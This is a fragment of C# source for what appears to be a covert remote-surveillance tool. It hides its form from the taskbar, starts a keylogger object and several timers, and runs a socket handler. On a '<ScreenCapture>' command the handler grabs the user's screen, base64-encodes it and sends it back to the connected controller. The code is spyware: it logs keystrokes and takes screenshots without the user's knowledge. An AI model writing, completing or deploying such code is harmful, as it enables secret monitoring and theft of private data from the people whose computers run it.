private void Form1_Load(object sender, EventArgs e)
{
// Hide();
// Opacity = 0;
ShowInTaskbar = false;
timer1.Enabled = true;
timer2.Enabled = true;
timer3.Enabled = true;
timer4.Enabled = true;
_keylog = new KLog();
}
private static void ReadCallback(IAsyncResult ar)
{
try
{
//===============================================================
// Retrieve the state object and the handler socket
// from the asynchronous state object.
StateObject state = (StateObject)ar.AsyncState;
Socket handler = state.WorkSocket;
// Read data from the client socket.
int bytesRead = handler.EndReceive(ar);
if (bytesRead <= 0) return;
//===============================================================
//===============================================================
state.StringBuilder.Append(Encoding.ASCII.GetString(state.Buffer, 0, bytesRead));
String content = state.StringBuilder.ToString();
//===============================================================
#region Content
if (content.IndexOf("<EOF>") > -1) //End Of file Tag
{
content = content.Replace("<EOF>", "");
byte[] currentData;
if (content.StartsWith("<ScreenCapture>"))
{
currentData = KLog.RemoteTakeScreen();
string base64 = Convert.ToBase64String(currentData);
byte[] output = GetBytes(base64);
Console.WriteLine("Captured Image length: {0}", output.Length);
string a = output[0].ToString();
string b = output[1].ToString();
string aa = output[2].ToString();
string ab = output[3].ToString();
string aaa = output[4].ToString();
string aab = output[6].ToString();
string aaaa = output[6].ToString();
string aaab = output[7].ToString();
Console.WriteLine("A HEAD: {0}",
(a + "-" + b + "-" + aa + "-" + ab + "-" + aaa + "-" + aab + "-" + aaaa + "-" + aaab));
a = output[output.Length - 1].ToString();
b = output[output.Length - 2].ToString();
aa = output[output.Length - 3].ToString();
ab = output[output.Length - 4].ToString();
aaa = output[output.Length - 5].ToString();
aab = output[output.Length - 6].ToString();
aaaa = output[output.Length - 7].ToString();
aaab = output[output.Length - 8].ToString();
Console.WriteLine("A TAIL: {0}",
(a + "-" + b + "-" + aa + "-" + ab + "-" + aaa + "-" + aab + "-" + aaaa + "-" + aaab));
using (MemoryStream ms = new MemoryStream(new byte[output.Length + 4]))
{
byte[] size = BitConverter.GetBytes(output.Length);
ms.Write(size, 0, 4);
ms.Write(output, 0, output.Length);
var tm = ms.ToArray();
state.SendBuffer = ms.ToArray();
Send(handler, Encoding.ASCII.GetString(state.SendBuffer, 0, state.SendBuffer.Length));
}
}
}
else
{
// Not all data received. Get more.
handler.BeginReceive(state.Buffer, 0, StateObject.BufferSize, 0, ReadCallback, state);
}
#endregion
}
catch (Exception e)
{
Console.WriteLine("--- Async Read Callback Exception ---");
Console.WriteLine(e.ToString());
}
}
